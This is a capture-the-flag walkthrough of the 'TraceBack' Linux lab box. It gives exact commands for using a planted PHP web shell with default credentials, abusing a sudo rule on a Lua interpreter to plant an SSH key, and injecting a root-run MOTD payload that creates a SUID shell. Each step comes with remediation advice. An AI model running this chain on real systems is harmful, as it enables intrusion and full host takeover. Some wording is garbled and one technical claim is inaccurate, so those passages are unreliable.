← all walkthroughs

TraceBack

Linux· Easy
owned
2026-06-29
time to own
5m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I located a PHP web shell that a prior intruder had planted on the Apache server and logged in using its factory-default credentials, gaining remote code execution as the webadmin account. A misconfigured passwordless sudo rule then let webadmin run the Lua interpreter as sysadmin, which I abused to inject an SSH key and pivot to that account.

Finally, sysadmin held write permission over a root-owned Message-of-the-Day script that Ubuntu executes automatically on every SSH login — appending a malicious payload there and triggering it via a new SSH session handed my a root shell and full control of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceService Discovery / Banner Grabbing
Discovered Apache server and a hidden clue in the index page
A port scan confirmed TCP/80 was open, running Apache/2.4.29 on Ubuntu. Fetching the index page revealed an HTML comment left by the machine's prior my referencing a public GitHub list of PHP web shells, signalling that one was already planted in the web root.
Server: Apache/2.4.29 (Ubuntu); HTTP/1.1 200 OK returned on TCP/80
Exact commands 2
Full TCP port scan with service version detection.
nmap -sV -p- --min-rate 5000 $TARGET
Read the index page source for HTML comments or my notes.
curl -si http://$TARGET/
2DiscoveryWeb Content Discovery
Located pre-planted web shell smevk.php in the web root
The index-page comment pointed to a well-known collection of PHP back-doors. I fetched candidate filenames from that list and confirmed smevk.php was present: the server responded with a login page titled 'SmEvK v3' — a feature-rich PHP web shell.
GET /smevk.php returned HTTP 200 with <title>SmEvK v3</title>
Exact commands 2
Direct check — confirms the shell exists without a full directory scan.
curl -s http://$TARGET/smevk.php | grep -i '<title>'
Fallback: enumerate web root against a backdoor-filename wordlist if the direct path were unknown.
gobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x php
FixRemove the unauthorized web shell and audit the web root for unknown filesCritical
WeaknessA PHP web shell (smevk.php) was publicly accessible in the web root, giving any internet visitor a direct path to remote code execution on the server.
FixDelete /var/www/html/smevk.php immediately. Audit the entire web root against a known-good file manifest using a file-integrity monitor (e.g., AIDE or Tripwire) to identify any other unrecognized files. Add a WAF rule that returns 404 for requests matching known web-shell filenames. Establish a change-management process requiring code reviews before any file is deployed to the web root.
3Initial AccessDefault Credential Abuse / Web Shell Remote Code Execution
Logged into the web shell with default credentials and executed commands as webadmin
SmEvK ships with hard-coded default credentials (admin/admin) that are publicly documented. Submitting those credentials granted access to the authenticated dashboard, which exposes a command console. My immediately confirmed execution context, receiving uid=1000(webadmin).
POST uname=admin&pass=admin to /smevk.php returned the authenticated SmEvK v3 dashboard; console returned uid=1000(webadmin)
Exact commands 1
Authenticate with default creds, then invoke the shell's console endpoint to run 'id; hostname; pwd'.
tmp=$(mktemp); curl -sS -c "$tmp" -b "$tmp" -d 'uname=admin&pass=admin&login=Login' http://$TARGET/smevk.php >/dev/null; curl -sS -b "$tmp" --data-urlencode 'a=Console' --data-urlencode 'c=/var/www/html/' --data-urlencode 'p1=id; hostname; pwd' --data-urlencode 'p2=' --data-urlencode 'p3=' --data-urlencode 'charset=UTF-8' http://$TARGET/smevk.php
FixEliminate default credentials on all web-facing management interfacesCritical
WeaknessThe SmEvK web shell retained its factory-default credentials (admin/admin), which are publicly documented, so no guessing or brute-force was required to gain authenticated access.
FixWhere such an interface must remain active, restrict access by IP allowlist at the web server or firewall level and enable account lockout after a small number of failed attempts.
4Lateral MovementSudo Misconfiguration / Interpreter-based Privilege Abuse (GTFOBins: luvit)
Abused a passwordless sudo rule to run Lua as sysadmin and plant an SSH key
Listing sudo privileges for webadmin revealed: (sysadmin) NOPASSWD: /home/sysadmin/luvit. Luvit is a Lua runtime. Any scriptable interpreter runnable as another user is equivalent to a shell for that user. My wrote a Lua one-liner that appended their SSH public key to sysadmin's authorized_keys, then invoked luvit via sudo to execute it — all without a password prompt.
Sudo -l as webadmin revealed the luvit NOPASSWD rule; subsequent SSH login as sysadmin succeeded with the planted key
Exact commands 3
Confirm webadmin's sudo rights — reveals the luvit rule.
# Execute through the smevk.php console:
sudo -l
Write Lua payload to /tmp/plant.lua. Replace YOUR_ED25519_PUBLIC_KEY with my public key.
echo 'os.execute("mkdir -p /home/sysadmin/.ssh && echo YOUR_ED25519_PUBLIC_KEY >> /home/sysadmin/.ssh/authorized_keys")' > /tmp/plant.lua
Execute the Lua payload as sysadmin, planting the SSH key.
sudo -u sysadmin /home/sysadmin/luvit /tmp/plant.lua
FixRemove the passwordless sudo rule that lets webadmin run a scripting interpreter as sysadminCritical
WeaknessThe sudoers configuration granted webadmin the ability to execute the Lua interpreter (luvit) as sysadmin without a password. Any interpreter that can be launched as another user is functionally a shell for that user.
FixOpen /etc/sudoers with 'visudo' and delete or comment out the line granting webadmin NOPASSWD access to luvit. Audit all remaining NOPASSWD sudo entries system-wide and remove any that reference scripting interpreters (Python, Ruby, Node, Perl, Lua, etc.), file managers, compilers, or editors. Apply the principle of least privilege: the web server process account should have no sudo rights at all.
5FootholdSSH Public Key Authentication
Opened SSH session as sysadmin and captured the user flag
With the SSH key in place, I connected interactively as sysadmin and read the user flag from the home directory.
Ssh sysadmin@$TARGET returned uid=1001(sysadmin); user.txt present at /home/sysadmin/user.txt
Exact commands 2
Generate the keypair whose public half was planted in step 4. Skip if the key already exists.
ssh-keygen -t ed25519 -f /tmp/traceback_ed25519 -N ''
Login as sysadmin and read the user flag. Flag value is <user.txt>.
ssh -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'id; cat /home/sysadmin/user.txt'
6Privilege EscalationWritable Privilege-Context Script / SUID Binary Creation
Injected a malicious payload into the writable root-executed MOTD script
Ubuntu's PAM layer runs every executable script under /etc/update-motd.d/ as root each time a user logs in via SSH. The sysadmin account had write permission to /etc/update-motd.d/00-header. I appended a payload that copies /bin/bash to /tmp/rootbash and sets the SUID bit, then opened a new SSH session to trigger root execution of the script.
Printf payload appended to 00-header without error; /tmp/rootbash appeared with -rwsr-xr-x permissions after the next SSH login
Exact commands 3
Confirm sysadmin can write to the MOTD scripts.
ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET 'ls -la /etc/update-motd.d/'
Append the SUID-bash payload to the MOTD header script.
ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET "printf '\ncp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash\n' >> /etc/update-motd.d/00-header"
Trigger a fresh SSH login; PAM runs 00-header as root, creating /tmp/rootbash with the SUID bit set.
ssh -tt -i /tmp/traceback_ed25519 -o StrictHostKeyChecking=no sysadmin@$TARGET 'exit'
FixRestrict write access to MOTD update scripts executed as rootCritical
WeaknessThe file /etc/update-motd.d/00-header was writable by the sysadmin account. Ubuntu's PAM subsystem runs every script in that directory as root on each SSH login, making any writable script a direct privilege-escalation vector for the owning account.
FixRun: 'chown root:root /etc/update-motd.d/*; chmod 755 /etc/update-motd.d/*' to ensure only root can modify MOTD scripts. Verify with 'ls -la /etc/update-motd.d/' that no non-root user retains write permission. If dynamic MOTD is not required, disable it by setting 'PrintMotd no' in /etc/ssh/sshd_config and removing execute bits: 'chmod -x /etc/update-motd.d/*'.
7Full ControlSUID Binary Exploitation
Executed SUID bash binary to gain root shell and captured the root flag
The MOTD script ran as root on the next login and created /tmp/rootbash — a copy of bash owned by root with the SUID bit set. Invoking it with the -p flag preserved the elevated real user ID, dropping my into a root shell from which the root flag was read.
Id returned uid=1001(sysadmin) euid=0(root); root.txt read from /root/root.txt
Exact commands 1
Run the SUID bash copy with -p to preserve root euid. Flag value is <root.txt>.
ssh -i /tmp/traceback_ed25519 sysadmin@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more